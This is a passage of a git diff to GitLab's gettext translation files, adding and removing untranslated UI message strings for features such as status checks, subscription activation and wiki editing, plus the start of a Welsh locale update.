msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
msgstr ""
@@ -28924,6 +29451,9 @@ msgstr ""
msgid "SecurityReports|Configure security testing"
msgstr ""
+msgid "SecurityReports|Coverage fuzzing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -28942,9 +29472,6 @@ msgstr ""
msgid "SecurityReports|Download %{artifactName}"
msgstr ""
-msgid "SecurityReports|Download Report"
-msgstr ""
-
msgid "SecurityReports|Download results"
msgstr ""
@@ -28966,9 +29493,6 @@ msgstr ""
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
-msgid "SecurityReports|Fuzzing artifacts"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -29137,6 +29661,9 @@ msgstr ""
msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
msgstr ""
+msgid "See example DevOps Score page in our documentation."
+msgstr ""
+
msgid "See metrics"
msgstr ""
@@ -29203,6 +29730,9 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a shared template repository for all projects on this instance."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29437,6 +29967,9 @@ msgstr ""
msgid "Serverless domain"
msgstr ""
+msgid "Serverless platform"
+msgstr ""
+
msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
msgstr ""
@@ -29590,9 +30123,6 @@ msgstr ""
msgid "Set due date"
msgstr ""
-msgid "Set instance-wide template repository"
-msgstr ""
-
msgid "Set iteration"
msgstr ""
@@ -29827,9 +30357,6 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
-msgid "Shared runners disabled on group level"
-msgstr ""
-
msgid "Shared runners help link"
msgstr ""
@@ -30072,6 +30599,12 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
+msgid "SignUp|By clicking %{button_text}, I agree that I have read and accepted the GitLab %{link_start}Terms of Use and Privacy Policy%{link_end}"
+msgstr ""
+
msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
msgstr ""
@@ -30165,6 +30698,9 @@ msgstr ""
msgid "SlackService|This service allows users to perform common operations on this project by entering slash commands in Slack."
msgstr ""
+msgid "Slice multiplier"
+msgstr ""
+
msgid "Smartcard"
msgstr ""
@@ -30402,6 +30938,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} confidentiality."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} notifications."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30708,6 +31247,9 @@ msgstr ""
msgid "Speed up your pipelines with Needs relationships"
msgstr ""
+msgid "Spent At"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -30723,10 +31265,13 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "Stage data updated"
+msgid "StageName|Build"
msgstr ""
-msgid "Stage removed"
+msgid "StageName|Deploy"
+msgstr ""
+
+msgid "StageName|Test"
msgstr ""
msgid "Standard"
@@ -30948,18 +31493,57 @@ msgstr ""
msgid "StatusCheck|API to check"
msgstr ""
+msgid "StatusCheck|Add status check"
+msgstr ""
+
+msgid "StatusCheck|An error occurred deleting the %{name} status check."
+msgstr ""
+
+msgid "StatusCheck|An error occurred fetching the status checks."
+msgstr ""
+
+msgid "StatusCheck|Apply this status check to any branch or a specific protected branch."
+msgstr ""
+
+msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgstr ""
+
+msgid "StatusCheck|Examples: QA, Security."
+msgstr ""
+
+msgid "StatusCheck|External API is already in use by another status check."
+msgstr ""
+
msgid "StatusCheck|Invoke an external API as part of the approvals"
msgstr ""
+msgid "StatusCheck|Invoke an external API as part of the pipeline process."
+msgstr ""
+
+msgid "StatusCheck|No status checks are defined yet."
+msgstr ""
+
msgid "StatusCheck|Remove status check"
msgstr ""
msgid "StatusCheck|Remove status check?"
msgstr ""
+msgid "StatusCheck|Service name"
+msgstr ""
+
+msgid "StatusCheck|Status checks"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
+msgid "StatusCheck|Target branch"
+msgstr ""
+
+msgid "StatusCheck|Update status check"
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -30993,9 +31577,6 @@ msgstr ""
msgid "StatusPage|Status page URL"
msgstr ""
-msgid "StatusPage|Status page frontend documentation"
-msgstr ""
-
msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
@@ -31050,6 +31631,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Subgroup information"
+msgstr ""
+
msgid "Subgroup milestone"
msgstr ""
@@ -31155,6 +31739,9 @@ msgstr ""
msgid "Subscription deletion failed."
msgstr ""
+msgid "Subscription service outage"
+msgstr ""
+
msgid "Subscription successfully applied to \"%{group_name}\""
msgstr ""
@@ -31266,6 +31853,9 @@ msgstr ""
msgid "Successfully approved"
msgstr ""
+msgid "Successfully banned"
+msgstr ""
+
msgid "Successfully blocked"
msgstr ""
@@ -31290,6 +31880,9 @@ msgstr ""
msgid "Successfully synced %{synced_timeago}."
msgstr ""
+msgid "Successfully unbanned"
+msgstr ""
+
msgid "Successfully unblocked"
msgstr ""
@@ -31401,42 +31994,93 @@ msgstr ""
msgid "Sunday"
msgstr ""
+msgid "SuperSonics|Activate"
+msgstr ""
+
+msgid "SuperSonics|Activate subscription"
+msgstr ""
+
msgid "SuperSonics|Activated on"
msgstr ""
+msgid "SuperSonics|Activation code"
+msgstr ""
+
+msgid "SuperSonics|An error occurred while activating your subscription."
+msgstr ""
+
+msgid "SuperSonics|Billable users"
+msgstr ""
+
+msgid "SuperSonics|Buy subscription"
+msgstr ""
+
+msgid "SuperSonics|Enter activation code"
+msgstr ""
+
msgid "SuperSonics|Expires on"
msgstr ""
+msgid "SuperSonics|Free trial"
+msgstr ""
+
+msgid "SuperSonics|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
+msgstr ""
+
+msgid "SuperSonics|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
+msgstr ""
+
msgid "SuperSonics|ID"
msgstr ""
msgid "SuperSonics|Last Sync"
msgstr ""
+msgid "SuperSonics|Learn how to %{linkStart}activate your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|Licensed to"
msgstr ""
msgid "SuperSonics|Manage"
msgstr ""
+msgid "SuperSonics|Maximum users"
+msgstr ""
+
+msgid "SuperSonics|Paste your activation code"
+msgstr ""
+
msgid "SuperSonics|Plan"
msgstr ""
+msgid "SuperSonics|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
+msgstr ""
+
msgid "SuperSonics|Renews"
msgstr ""
msgid "SuperSonics|Seats"
msgstr ""
+msgid "SuperSonics|Start free trial"
+msgstr ""
+
msgid "SuperSonics|Started"
msgstr ""
+msgid "SuperSonics|Subscription"
+msgstr ""
+
msgid "SuperSonics|Subscription details"
msgstr ""
msgid "SuperSonics|Sync subscription details"
msgstr ""
+msgid "SuperSonics|The activation code is not valid. Please make sure to copy it exactly from the Customers Portal or confirmation email. Learn more about %{linkStart}activating your subscription%{linkEnd}."
+msgstr ""
+
msgid "SuperSonics|The subscription details synced successfully."
msgstr ""
@@ -31446,18 +32090,48 @@ msgstr ""
msgid "SuperSonics|This field is required."
msgstr ""
+msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
+msgstr ""
+
+msgid "SuperSonics|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgstr ""
+
+msgid "SuperSonics|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Licensing%{linkEnd} service, a hassle-free way to manage your subscription."
+msgstr ""
+
msgid "SuperSonics|Type"
msgstr ""
+msgid "SuperSonics|Upload a legacy license"
+msgstr ""
+
+msgid "SuperSonics|Users in subscription"
+msgstr ""
+
+msgid "SuperSonics|Users over subscription"
+msgstr ""
+
+msgid "SuperSonics|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "SuperSonics|Valid From"
msgstr ""
+msgid "SuperSonics|You can learn more about %{activationLinkStart}activating your subscription%{activationLinkEnd}. If you need further assistance, please %{supportLinkStart}contact GitLab Support%{supportLinkEnd}."
+msgstr ""
+
msgid "SuperSonics|You can no longer sync your subscription details with GitLab. Get help for the most common connectivity issues by %{connectivityHelpLinkStart}troubleshooting the activation code%{connectivityHelpLinkEnd}."
msgstr ""
+msgid "SuperSonics|You can start a free trial of GitLab Ultimate without any obligation or payment details."
+msgstr ""
+
msgid "SuperSonics|You do not have an active subscription"
msgstr ""
+msgid "SuperSonics|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
+msgstr ""
+
msgid "SuperSonics|Your subscription"
msgstr ""
@@ -31476,6 +32150,9 @@ msgstr ""
msgid "Survey Response"
msgstr ""
+msgid "Switch Branch"
+msgstr ""
+
msgid "Switch branch/tag"
msgstr ""
@@ -31698,6 +32375,9 @@ msgstr ""
msgid "Template to append to all Service Desk issues"
msgstr ""
+msgid "TemplateRepository|Select a repository to make its templates available to all projects. %{link_start}What should the repository contain?%{link_end} "
+msgstr ""
+
msgid "Templates"
msgstr ""
@@ -31856,9 +32536,6 @@ msgstr ""
msgid "Test Cases"
msgstr ""
-msgid "Test cases are not available for this project"
-msgstr ""
-
msgid "Test coverage parsing"
msgstr ""
@@ -32002,6 +32679,9 @@ msgstr ""
msgid "Tests"
msgstr ""
+msgid "Text style"
+msgstr ""
+
msgid "Thank you for signing up for your free trial! You will get additional instructions in your inbox shortly."
msgstr ""
@@ -32032,7 +32712,7 @@ msgstr ""
msgid "The \"%{group_path}\" group allows you to sign in with your Single Sign-On Account"
msgstr ""
-msgid "The \"Require approval from CODEOWNERS\" setting was moved to %{banner_link_start}Protected Branches%{banner_link_end}"
+msgid "The %{featureName} feature is part of your GitLab Ultimate trial."
msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
@@ -32057,6 +32737,9 @@ msgstr ""
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
+msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
+msgstr ""
+
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
@@ -32250,6 +32933,9 @@ msgstr ""
msgid "The interval must be one of %{intervals}."
msgstr ""
+msgid "The invitation can not be found with the provided invite token."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -32295,6 +32981,9 @@ msgstr ""
msgid "The maximum file size is %{size}."
msgstr ""
+msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -32313,9 +33002,6 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr ""
-msgid "The merge request has made changes to this file that affect the number of code quality violations in it."
-msgstr ""
-
msgid "The metric must be one of %{metrics}."
msgstr ""
@@ -32619,9 +33305,6 @@ msgstr ""
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
-msgid "There is a connectivity issue"
-msgstr ""
-
msgid "There is a halted Elasticsearch migration"
msgstr ""
@@ -32688,12 +33371,6 @@ msgstr ""
msgid "There was a problem fetching users."
msgstr ""
-msgid "There was a problem refreshing the data, please try again"
-msgstr ""
-
-msgid "There was a problem saving your custom stage, please try again"
-msgstr ""
-
msgid "There was a problem sending the confirmation email"
msgstr ""
@@ -32721,6 +33398,9 @@ msgstr ""
msgid "There was an error fetching configuration for charts"
msgstr ""
+msgid "There was an error fetching content, please refresh the page"
+msgstr ""
+
msgid "There was an error fetching data for the selected stage"
msgstr ""
@@ -32784,9 +33464,6 @@ msgstr ""
msgid "There was an error removing the e-mail."
msgstr ""
-msgid "There was an error removing your custom stage, please try again"
-msgstr ""
-
msgid "There was an error resetting group pipeline minutes."
msgstr ""
@@ -32829,9 +33506,6 @@ msgstr ""
msgid "There was an error updating the dashboard, branch named: %{branch} already exists."
msgstr ""
-msgid "There was an error updating the stage order. Please try reloading the page."
-msgstr ""
-
msgid "There was an error when reseting email token."
msgstr ""
@@ -32955,7 +33629,10 @@ msgstr ""
msgid "This also resolves this thread"
msgstr ""
-msgid "This application was created by %{link_to_owner}."
+msgid "This application was created by %{user_link}."
+msgstr ""
+
+msgid "This application was created for group %{group_link}."
msgstr ""
msgid "This application will be able to:"
@@ -33057,9 +33734,6 @@ msgstr ""
msgid "This feature requires local storage to be enabled"
msgstr ""
-msgid "This feature should be used with an index that was created after 13.0"
-msgstr ""
-
msgid "This field is required."
msgstr ""
@@ -33393,6 +34067,9 @@ msgstr ""
msgid "This user has the %{access} role in the %{name} project."
msgstr ""
+msgid "This user is banned"
+msgstr ""
+
msgid "This user is blocked"
msgstr ""
@@ -33435,9 +34112,6 @@ msgstr ""
msgid "ThreatMonitoring|Anomalous Requests"
msgstr ""
-msgid "ThreatMonitoring|Application firewall not detected"
-msgstr ""
-
msgid "ThreatMonitoring|Container Network Policies are not installed or have been disabled. To view this data, ensure your Network Policies are installed and enabled for your cluster."
msgstr ""
@@ -33462,6 +34136,9 @@ msgstr ""
msgid "ThreatMonitoring|Events"
msgstr ""
+msgid "ThreatMonitoring|Failed to create incident, please try again."
+msgstr ""
+
msgid "ThreatMonitoring|Hide dismissed alerts"
msgstr ""
@@ -33513,9 +34190,6 @@ msgstr ""
msgid "ThreatMonitoring|Status"
msgstr ""
-msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -33546,12 +34220,6 @@ msgstr ""
msgid "ThreatMonitoring|View documentation"
msgstr ""
-msgid "ThreatMonitoring|Web Application Firewall"
-msgstr ""
-
-msgid "ThreatMonitoring|While it's rare to have no traffic coming to your application, it can happen. In any event, we ask that you double check your settings to make sure you've set up the WAF correctly."
-msgstr ""
-
msgid "Throughput"
msgstr ""
@@ -33561,6 +34229,9 @@ msgstr ""
msgid "Time"
msgstr ""
+msgid "Time Spent"
+msgstr ""
+
msgid "Time based: Yes"
msgstr ""
@@ -33612,6 +34283,9 @@ msgstr ""
msgid "Time tracking"
msgstr ""
+msgid "Time tracking report"
+msgstr ""
+
msgid "Time until first merge request"
msgstr ""
@@ -33791,9 +34465,6 @@ msgstr[3] ""
msgid "Time|s"
msgstr ""
-msgid "Tip:"
-msgstr ""
-
msgid "Tip: Hover over a job to see the jobs it depends on to run."
msgstr ""
@@ -33908,9 +34579,6 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
-msgstr ""
-
msgid "To pass variables to the triggered pipeline, add %{code_start}variables[VARIABLE]=VALUE%{code_end} to the API request."
msgstr ""
@@ -34028,13 +34696,13 @@ msgstr ""
msgid "Toggle project select"
msgstr ""
-msgid "Toggle sidebar"
+msgid "Toggle shortcuts"
msgstr ""
-msgid "Toggle the Performance Bar"
+msgid "Toggle sidebar"
msgstr ""
-msgid "Toggle this dialog"
+msgid "Toggle the Performance Bar"
msgstr ""
msgid "Toggle thread"
@@ -34064,9 +34732,6 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
-msgid "Too much data"
-msgstr ""
-
msgid "Topics (optional)"
msgstr ""
@@ -34266,6 +34931,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgstr ""
+
msgid "Trigger manual job"
msgstr ""
@@ -34491,6 +35159,9 @@ msgstr ""
msgid "Unable to fetch branch list for this project."
msgstr ""
+msgid "Unable to fetch branches list, please close the form and try again"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -34734,6 +35405,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused"
+msgstr ""
+
msgid "Unused, previous indices: %{index_names} will be deleted after %{time} automatically."
msgstr ""
@@ -34893,6 +35567,9 @@ msgstr ""
msgid "Upload file"
msgstr ""
+msgid "Upload license"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -35214,6 +35891,9 @@ msgstr ""
msgid "Use your smart card to authenticate with the LDAP server."
msgstr ""
+msgid "Used"
+msgstr ""
+
msgid "Used by members to sign in to your group in GitLab"
msgstr ""
@@ -35223,6 +35903,9 @@ msgstr ""
msgid "Used programming language"
msgstr ""
+msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
+msgstr ""
+
msgid "Used to help configure your identity provider"
msgstr ""
@@ -35331,27 +36014,45 @@ msgstr ""
msgid "UserLists|Feature flag user list"
msgstr ""
+msgid "UserLists|Get started with user lists"
+msgstr ""
+
msgid "UserLists|Lists allow you to define a set of users to be used with feature flags. %{linkStart}Read more about feature flag lists.%{linkEnd}"
msgstr ""
+msgid "UserLists|Loading user lists"
+msgstr ""
+
msgid "UserLists|Name"
msgstr ""
msgid "UserLists|New list"
msgstr ""
+msgid "UserLists|New user list"
+msgstr ""
+
msgid "UserLists|Save"
msgstr ""
msgid "UserLists|There are no users"
msgstr ""
+msgid "UserLists|There was an error fetching the user lists."
+msgstr ""
+
msgid "UserLists|User ID"
msgstr ""
msgid "UserLists|User IDs"
msgstr ""
+msgid "UserLists|User Lists"
+msgstr ""
+
+msgid "UserLists|User lists allow you to define a set of users to use with Feature Flags."
+msgstr ""
+
msgid "UserList|Delete %{name}?"
msgstr ""
@@ -35484,6 +36185,9 @@ msgstr ""
msgid "UserProfile|made a private contribution"
msgstr ""
+msgid "Username (for password-protected Elasticsearch servers)"
+msgstr ""
+
msgid "Username (optional)"
msgstr ""
@@ -35505,6 +36209,9 @@ msgstr ""
msgid "Users"
msgstr ""
+msgid "Users can launch a development environment from a GitLab browser tab when the %{linkStart}Gitpod%{linkEnd} integration is enabled."
+msgstr ""
+
msgid "Users in License"
msgstr ""
@@ -35616,6 +36323,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Total number of deploys to production."
msgstr ""
+msgid "ValueStreamEvent|Items in stage"
+msgstr ""
+
msgid "ValueStreamEvent|Stage time (median)"
msgstr ""
@@ -36185,15 +36895,15 @@ msgstr ""
msgid "We don't have enough data to show this stage."
msgstr ""
-msgid "We encountered an error and our team has been notified. Please try again."
-msgstr ""
-
msgid "We have found the following errors:"
msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
+msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgstr ""
+
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
msgstr ""
@@ -36233,9 +36943,6 @@ msgstr ""
msgid "We've found no vulnerabilities"
msgstr ""
-msgid "Web Application Firewall"
-msgstr ""
-
msgid "Web IDE"
msgstr ""
@@ -36263,16 +36970,16 @@ msgstr ""
msgid "WebIDE|This project does not accept unsigned commits."
msgstr ""
-msgid "WebIDE|This project does not accept unsigned commits. You will not be able to commit your changes through the Web IDE."
+msgid "WebIDE|This project does not accept unsigned commits. You can’t commit changes through the Web IDE."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project."
+msgid "WebIDE|You can’t edit files directly in this project. Fork this project and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Fork this project to make your changes and submit a merge request."
+msgid "WebIDE|You can’t edit files directly in this project. Go to your fork and submit a merge request with your changes."
msgstr ""
-msgid "WebIDE|You need permission to edit files directly in this project. Go to your fork to make changes and submit a merge request."
+msgid "WebIDE|You need permission to edit files directly in this project."
msgstr ""
msgid "WebexTeamsService|Send notifications about project events to Webex Teams."
@@ -36305,9 +37012,6 @@ msgstr ""
msgid "Webhooks allow you to trigger a URL if, for example, new code is pushed or a new issue is created. You can configure webhooks to listen for specific events like pushes, issues or merge requests. Group webhooks will apply to all projects in a group, allowing you to standardize webhook functionality across your entire group."
msgstr ""
-msgid "Webhooks have moved. They can now be found under the Settings menu."
-msgstr ""
-
msgid "Webhooks|Comments"
msgstr ""
@@ -36552,6 +37256,9 @@ msgstr ""
msgid "Who will be using this GitLab trial?"
msgstr ""
+msgid "Why are you signing up? (Optional)"
+msgstr ""
+
msgid "Wiki"
msgstr ""
@@ -36660,6 +37367,12 @@ msgstr ""
msgid "WikiPageConflictMessage|Someone edited the page the same time you did. Please check out %{wikiLinkStart}the page%{wikiLinkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
+msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
+msgstr ""
+
+msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgstr ""
+
msgid "WikiPage|Cancel"
msgstr ""
@@ -36678,12 +37391,18 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Keep editing"
+msgstr ""
+
msgid "WikiPage|More Information."
msgstr ""
msgid "WikiPage|Page title"
msgstr ""
+msgid "WikiPage|Retry"
+msgstr ""
+
msgid "WikiPage|Save changes"
msgstr ""
@@ -36693,6 +37412,12 @@ msgstr ""
msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
msgstr ""
+msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgstr ""
+
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgstr ""
+
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
msgstr ""
@@ -36714,9 +37439,6 @@ msgstr ""
msgid "WikiPage|Write your content or drag files here…"
msgstr ""
-msgid "WikiPage|You are editing this page with Content Editor. This editor is in beta and may not display the page's contents properly."
-msgstr ""
-
msgid "Wikis"
msgstr ""
@@ -36885,6 +37607,9 @@ msgstr ""
msgid "You are not allowed to approve a user"
msgstr ""
+msgid "You are not allowed to log in using password"
+msgstr ""
+
msgid "You are not allowed to push into this branch. Create another branch or open a merge request."
msgstr ""
@@ -37089,6 +37814,9 @@ msgstr ""
msgid "You cannot write to this read-only GitLab instance."
msgstr ""
+msgid "You can’t %{tag_start}edit%{tag_end} files directly in this project. Fork this project and submit a merge request with your changes."
+msgstr ""
+
msgid "You could not create a new trigger."
msgstr ""
@@ -37200,9 +37928,15 @@ msgstr ""
msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
+msgid "You have insufficient permissions to create an escalation policy for this project"
+msgstr ""
+
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
+msgid "You have insufficient permissions to remove an escalation policy from this project"
+msgstr ""
+
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37485,10 +38219,10 @@ msgstr ""
msgid "Your SSH keys (%{count})"
msgstr ""
-msgid "Your SSH keys with the following fingerprints are scheduled to expire soon:"
+msgid "Your SSH keys with the following fingerprints are scheduled to expire soon. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
-msgid "Your SSH keys with the following fingerprints has expired:"
+msgid "Your SSH keys with the following fingerprints have expired. Expired SSH keys will not be usable in future versions of GitLab:"
msgstr ""
msgid "Your To-Do List"
@@ -37527,6 +38261,9 @@ msgstr ""
msgid "Your authorized applications"
msgstr ""
+msgid "Your browser does not support iFrames"
+msgstr ""
+
msgid "Your browser doesn't support U2F. Please use Google Chrome desktop (version 41 or newer)."
msgstr ""
@@ -37557,9 +38294,6 @@ msgstr ""
msgid "Your comment will be discarded."
msgstr ""
-msgid "Your custom stage '%{title}' was created"
-msgstr ""
-
msgid "Your dashboard has been copied. You can %{web_ide_link_start}edit it here%{web_ide_link_end}."
msgstr ""
@@ -37759,9 +38493,6 @@ msgstr ""
msgid "already shared with this group"
msgstr ""
-msgid "among other things"
-msgstr ""
-
msgid "and"
msgstr ""
@@ -38099,6 +38830,45 @@ msgstr ""
msgid "closed issue"
msgstr ""
+msgid "codeQualityWalkthrough|A code quality job will now run every time you or your team members commit changes to your project. You can view the results of the code quality job in the job logs."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Congrats! Your first pipeline is running %{emojiStart}zap%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Got it"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Let's start by creating a new CI file."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Not sure how to fix your failed job? We have compiled some tips on how to troubleshoot code quality jobs in the documentation."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Read the documentation"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Something went wrong. %{emojiStart}thinking%{emojiEnd} Let's fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|To begin with code quality, we first need to create a new CI file using our code editor. We added a code quality template in the code editor to help you get started %{emojiStart}wink%{emojiEnd} .%{lineBreak}Take some time to review the template, when you are ready, use the %{strongStart}commit changes%{strongEnd} button at the bottom of the page."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Troubleshoot your code quality job"
+msgstr ""
+
+msgid "codeQualityWalkthrough|View the logs"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Well done! You've just automated your code quality review. %{emojiStart}raised_hands%{emojiEnd}"
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your job failed. No worries - this happens. Let's view the logs, and see how we can fix it."
+msgstr ""
+
+msgid "codeQualityWalkthrough|Your pipeline can take a few minutes to run. If you enabled email notifications, you'll receive an email with your pipeline status. In the meantime, why don't you get some coffee? You earned it!"
+msgstr ""
+
msgid "collect usage information"
msgstr ""
@@ -38350,6 +39120,9 @@ msgstr ""
msgid "https://your-bitbucket-server"
msgstr ""
+msgid "i18n|%{language} (%{percent_translated}%% translated)"
+msgstr ""
+
msgid "image diff"
msgstr ""
@@ -38429,7 +39202,7 @@ msgstr ""
msgid "is not valid. The iteration group has to match the iteration cadence group."
msgstr ""
-msgid "is read only"
+msgid "is read-only"
msgstr ""
msgid "is too long (%{current_value}). The maximum size is %{max_size}."
@@ -38532,6 +39305,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "merge request approvals"
+msgstr ""
+
msgid "merged %{timeAgo}"
msgstr ""
@@ -38592,9 +39368,6 @@ msgstr ""
msgid "mrWidget|Added to the merge train. There are %{mergeTrainPosition} merge requests waiting to be merged"
msgstr ""
-msgid "mrWidget|Allows commits from members who can merge to the target branch"
-msgstr ""
-
msgid "mrWidget|An error occurred while removing your approval."
msgstr ""
@@ -38622,10 +39395,7 @@ msgstr ""
msgid "mrWidget|Are you adding technical debt or code vulnerabilities?"
msgstr ""
-msgid "mrWidget|Before this can be merged, one or more threads must be resolved."
-msgstr ""
-
-msgid "mrWidget|Cancel automatic merge"
+msgid "mrWidget|Cancel"
msgstr ""
msgid "mrWidget|Check out branch"
@@ -38667,9 +39437,6 @@ msgstr ""
msgid "mrWidget|Fast-forward merge is not possible. To merge this request, first rebase locally."
msgstr ""
-msgid "mrWidget|Fork project merge requests do not create merge request pipelines that validate a post merge result unless invoked by a project member."
-msgstr ""
-
msgid "mrWidget|If the %{missingBranchName} branch exists in your local repository, you can merge this merge request manually using the command line"
msgstr ""
@@ -38685,12 +39452,18 @@ msgstr ""
msgid "mrWidget|Mark as ready"
msgstr ""
+msgid "mrWidget|Members who can merge are allowed to add commits."
+msgstr ""
+
msgid "mrWidget|Mentions"
msgstr ""
msgid "mrWidget|Merge"
msgstr ""
+msgid "mrWidget|Merge blocked: all threads must be resolved."
+msgstr ""
+
msgid "mrWidget|Merge failed."
msgstr ""
@@ -39104,6 +39877,12 @@ msgstr ""
msgid "satisfied"
msgstr ""
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is invalid"
+msgstr ""
+
+msgid "scan-execution-policy: policy not applied, %{policy_path} file is missing"
+msgstr ""
+
msgid "security Reports|There was an error creating the merge request"
msgstr ""
@@ -39227,6 +40006,9 @@ msgstr ""
msgid "the wiki"
msgstr ""
+msgid "then"
+msgstr ""
+
msgid "this document"
msgstr ""
diff --git a/locale/cy_GB/gitlab.po b/locale/cy_GB/gitlab.po
index 78f8019109c..66e91f214df 100644
--- a/locale/cy_GB/gitlab.po
+++ b/locale/cy_GB/gitlab.po
@@ -14,7 +14,7 @@ msgstr ""
"X-Crowdin-Language: cy\n"
"X-Crowdin-File: /master/locale/gitlab.pot\n"
"X-Crowdin-File-ID: 6\n"
-"PO-Revision-Date: 2021-05-03 22:10\n"
+"PO-Revision-Date: 2021-06-01 20:18\n"
msgid " %{name}, confirm your email address now! "
msgstr ""
@@ -415,6 +415,15 @@ msgstr[3] ""
msgstr[4] ""
msgstr[5] ""
+msgid "%d item"
+msgid_plural "%d items"
+msgstr[0] ""
+msgstr[1] ""
+msgstr[2] ""
+msgstr[3] ""
+msgstr[4] ""
+msgstr[5] ""
+
msgid "%d layer"
msgid_plural "%d layers"
msgstr[0] ""
